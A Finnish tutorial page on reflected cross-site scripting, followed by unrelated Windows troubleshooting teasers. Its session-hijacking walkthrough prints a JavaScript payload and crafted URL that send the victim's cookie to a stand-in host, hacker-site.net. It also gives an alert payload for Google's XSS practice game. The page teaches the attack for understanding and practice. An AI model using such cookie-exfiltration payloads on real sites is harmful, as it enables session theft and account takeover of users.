Web7: XSS Exploits – Osa 1: Reflected XSS

Web7: XSS Exploits – Osa 1: Reflected XSS

Mitä on Cross-Site Scripting?

Cross-Site Scripting (XSS) on yksi tämän hetken suosituimmista hyökkäystekniikoista, joka tunnetaan nimellä Attack Godfather, ja se on useiden vuosien ajan listattu sovellusten vaarallisimpana hyökkäystekniikana.

Älä kutsu sitä lyhyesti CSS:ksi välttääksesi sekaannukset HTML:n Cascading Style Sheet -konseptin kanssa. XSS-
tekniikka

Ymmärtääksemme paremmin, tarkastellaan seuraavaa esimerkkiä. Verkkosovellus, joka sallii URL-osoitteen kautta välittämämme arvon tulostamisen olettaen, että välitämme nimimuuttujaan Ping-arvon:

Web7: XSS Exploits – Osa 1: Reflected XSS

Kaikki on toistaiseksi hyvin, katsotaanpa html-lähdekoodia:

Web7: XSS Exploits – Osa 1: Reflected XSS

On helppo nähdä, että antamamme nimen arvo on lisätty lähdekoodiin. Joten on mahdollista, että kaikki tuotu voidaan myös lisätä. Ongelma muuttuu vakavaksi, jos syötetty arvo ei ole normaali merkkijono, kuten yllä, vaan mahdollisesti vaarallinen koodinpätkä, jotain tällaista:

 

Yritä uudelleen yllä olevalla arvolla:

Web7: XSS Exploits – Osa 1: Reflected XSS

Tästä esimerkistä voimme päätellä kaksi asiaa. Ensinnäkin nimimuuttuja voi vastaanottaa minkä tahansa syötearvon ja lähettää sen palvelimelle käsittelyä varten. Toiseksi palvelin ei ohjannut tätä syöttöarvoa ennen sen palauttamista selaimeen. Tämä johtaa siihen, että javascript-koodi lisätään lähdekoodiin.

XSS on yleensä jaettu kolmeen päätyyppiin: heijastettu, tallennettu ja DOM-pohjainen. Tässä artikkelissa mainitsen pääasiassa Reflected XSS -tekniikan.

Jopa 75 % XSS-tekniikoista perustuu Reflected XSS:ään. Sitä kutsutaan heijastukseksi, koska tämän tyyppisessä hyväksikäyttöskenaariossa hakkerin on lähetettävä uhrille haitallista koodia sisältävä URL-osoite (yleensä javascript). Uhrin tarvitsee vain pyytää tätä URL-osoitetta, ja hakkeri saa välittömästi vastauksen, joka sisältää halutun tuloksen (heijastus näkyy tässä). Lisäksi se tunnetaan myös ensimmäisen asteen XSS:nä.

Tosielämän kaivosskenaario

Reflected XSS -virhettä voidaan hyödyntää monella tapaa, yksi tunnetuimmista tavoista on ottaa haltuunsa käyttäjän istunto ja siten päästä käsiksi tietoihin ja hankkia heidän oikeuksiaan verkkosivustolla.

Yksityiskohdat kuvataan seuraavissa vaiheissa:

Web7: XSS Exploits – Osa 1: Reflected XSS

1. Käyttäjä kirjautuu verkkoon ja olettaa, että istunto on määritetty:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. Jotenkin hakkeri lähettää käyttäjälle URL-osoitteen:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Oletetaan, että esimerkki.com on sivusto, jolla uhri vierailee, ja hacker-site.net on hakkerin luoma sivusto

3. Uhri käyttää yllä olevaa URL-osoitetta

4. Palvelin vastaa uhrille ja toimittaa pyynnön sisältämät tiedot (hakkerin javascript-koodinpätkä)

5. Uhrin selain vastaanottaa vastauksen ja suorittaa javascriptin

6. Varsinainen javascript, jonka hakkeri loi, on seuraava:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Yllä oleva komentorivi tekee käytännössä pyynnön hakkerin sivustolle parametrin ollessa käyttäjän eväste:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Sivustoltasi hakkeri nappaa yllä olevan pyynnön sisällön ja katsoo, että käyttäjän istunto on otettu haltuun. Tässä vaiheessa hakkeri voi esiintyä uhrina ja käyttää kaikkia uhrin oikeuksia verkkosivustolla.

Harjoitella

Google on luonut sivun harjoitellakseen XSS-virheiden hyödyntämistä täällä: https://xss-game.appspot.com

Näiden haasteiden tavoitteena on, että sinun on lisättävä komentosarjat ponnahdusikkunan avaamiseksi. Ensimmäinen haaste on havainnollistaa reflektoitua tekniikkaa, hyväksikäyttökoodi on melko yksinkertainen:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Onnea!


Korjausohjeet Sinulla ei ole lupaa tallentaa tähän sijaintiin Windowsissa

Korjausohjeet Sinulla ei ole lupaa tallentaa tähän sijaintiin Windowsissa

Kun Windows näyttää virheilmoituksen "Sinulla ei ole lupaa tallentaa tähän sijaintiin", tämä estää sinua tallentamasta tiedostoja haluttuihin kansioihin.

Paras ilmainen ja maksullinen Syslog Server -ohjelmisto Windowsille

Paras ilmainen ja maksullinen Syslog Server -ohjelmisto Windowsille

Syslog Server on tärkeä osa IT-järjestelmänvalvojan arsenaalia, varsinkin kun on kyse tapahtumalokien hallinnasta keskitetyssä paikassa.

Mikä on Error 524 A Timeout Occurred ja kuinka korjata virhe

Mikä on Error 524 A Timeout Occurred ja kuinka korjata virhe

Virhe 524: Aikakatkaisu tapahtui on Cloudflare-kohtainen HTTP-tilakoodi, joka ilmaisee, että yhteys palvelimeen katkesi aikakatkaisun vuoksi.

Mikä on virhe 0x80070570? Kuinka korjata tämä virhe?

Mikä on virhe 0x80070570? Kuinka korjata tämä virhe?

Virhekoodi 0x80070570 on yleinen virheilmoitus tietokoneissa, kannettavissa tietokoneissa ja tableteissa, joissa on Windows 10 -käyttöjärjestelmä. Se näkyy kuitenkin myös tietokoneissa, joissa on Windows 8.1, Windows 8, Windows 7 tai vanhempi.

Ohjeet sinisen näytön virheen korjaamiseen PAGE FAULT IN PAGED AREA tai STOP 0x00000050

Ohjeet sinisen näytön virheen korjaamiseen PAGE FAULT IN PAGED AREA tai STOP 0x00000050

Blue screen of death -virhe BSOD PAGE_FAULT_IN_NONPAGED_AREA tai STOP 0x00000050 on virhe, joka ilmenee usein laitteisto-ajurin asennuksen tai uuden ohjelmiston asennuksen tai päivityksen jälkeen, ja joissakin tapauksissa syynä on, että virhe johtuu korruptoituneesta NTFS-osiosta.

Mitä tehdä, kun saat Video Schedulerin sisäisen virheen?

Mitä tehdä, kun saat Video Schedulerin sisäisen virheen?

Video Scheduler Internal Error on myös tappava sininen näyttövirhe, tämä virhe ilmenee usein Windows 10:ssä ja Windows 8.1:ssä. Tämä artikkeli näyttää joitakin tapoja korjata tämä virhe.

Kuinka estää Epic Launcherin käynnistyminen Windowsin kanssa

Kuinka estää Epic Launcherin käynnistyminen Windowsin kanssa

Voit nopeuttaa Windows 10:n käynnistystä ja lyhentää käynnistysaikaa noudattamalla alla olevia ohjeita poistaaksesi Epicin Windowsin käynnistyksestä ja estääksesi Epic Launcherin käynnistymisen Windows 10:n kanssa.

3 parempaa tapaa tallentaa tiedostoja työpöydälle

3 parempaa tapaa tallentaa tiedostoja työpöydälle

Sinun ei pitäisi tallentaa tiedostoja työpöydälle. On olemassa parempia tapoja tallentaa tietokonetiedostoja ja pitää työpöytäsi siistinä. Seuraava artikkeli näyttää sinulle tehokkaampia paikkoja tiedostojen tallentamiseen Windows 10:ssä.

Korjaa virhe, kun kirkkauden liukusäädin katoaa tehtäväpalkista

Korjaa virhe, kun kirkkauden liukusäädin katoaa tehtäväpalkista

Oli syy mikä tahansa, joskus sinun on säädettävä näytön kirkkautta eri valaistusolosuhteiden ja -tarkoituksiin sopivaksi. Jos sinun on tarkkailtava kuvan yksityiskohtia tai katsottava elokuvaa, kirkkautta on lisättävä. Päinvastoin, saatat haluta myös vähentää kirkkautta suojataksesi kannettavan tietokoneen akkua.

9 tapaa korjata Windows-tietokone, joka herää satunnaisesti tarkistamaan päivitykset

9 tapaa korjata Windows-tietokone, joka herää satunnaisesti tarkistamaan päivitykset

Herääkö tietokoneesi satunnaisesti ja avaa ikkunan "Tarkistaa päivityksiä"? Yleensä tämä johtuu MoUSOCoreWorker.exe-ohjelmasta - Microsoftin tehtävästä, joka auttaa koordinoimaan Windows-päivitysten asennusta.